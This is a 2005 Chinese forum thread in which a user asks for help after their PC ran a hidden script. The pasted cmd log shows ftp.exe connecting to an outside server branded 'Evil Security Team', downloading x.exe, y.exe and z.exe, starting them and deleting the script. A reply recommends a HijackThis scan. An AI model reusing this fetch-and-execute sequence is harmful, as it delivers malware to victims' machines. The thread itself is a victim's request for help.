1   1  /  1  页   跳转

求助!急!!!

求助!急!!!

今天打开电脑没一会儿,突然CMD启动了,
记录cmd.exe的ftp 记录如下

C:\WINNT\system32>ftp.exe -s:x
ftp> open 61.138.10.55 21211
Connected to 61.138.10.55.
220-___--->>>[E-v-i-l_S-e-c-u-r-i-t-y_T-e-a-m]<<<---___
220-______________________________________________
220-
220-This Server is running since 1 days and 5:39 hours,
220-and has been accessed 771 times, 397 in the last 24 hours.
220-There are now 31 users logged in, Max allowed : Unlimited.
220-______________________________________________
220-
220-Free Disk Space : 1096.71 MB
220-Downloaded : 103404 Kb in 1390 Files
220-Uploaded : 178 Kb in 2 Files
220-Current Speed : 44.284 Kb/sec
220-Average Speed : 0.970 Kb/sec
220-______________________________________________
220 
User (61.138.10.55:(none)):
331 User name okay, need password.

230 User logged in, proceed.
ftp>
ftp> bin
200 Type set to I.
ftp> get x.exe
200 PORT Command successful.
150 Opening BINARY mode data connection for x.exe (19976 Bytes).
226 Transfer complete.
ftp: 19976 bytes received in 8.11Seconds 2.46Kbytes/sec.
ftp> get y.exe
200 PORT Command successful.
150 Opening BINARY mode data connection for y.exe (30506 Bytes).
226 Transfer complete.
ftp: 30506 bytes received in 6.33Seconds 4.82Kbytes/sec.
ftp> get z.exe
200 PORT Command successful.
150 Opening BINARY mode data connection for z.exe (85394 Bytes).
226 Transfer complete.
ftp: 85394 bytes received in 51.56Seconds 1.66Kbytes/sec.
ftp> bye
221 Goodbye!

C:\WINNT\system32>del x

C:\WINNT\system32>START x.exe

C:\WINNT\system32>START y.exe

C:\WINNT\system32>START z.exe

C:\WINNT\system32>del x.bat
找不到批处理文件。

另外,在进程里看到了SQLTOB.exe,SQLSCAN.exe,还有时不时跳出SQLEXP.EXE

在此向各位高手请教要如何处理。
最后编辑2005-12-11 12:59:58
分享到:
gototop
 

用最新版Hijackthis1.99.1扫描一个log贴上来。

hijackThis下载地址见置顶贴
[必读]本版说明及常用小软件下载
http://forum.ikaka.com/topic.asp?board=67&artid=5188931
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT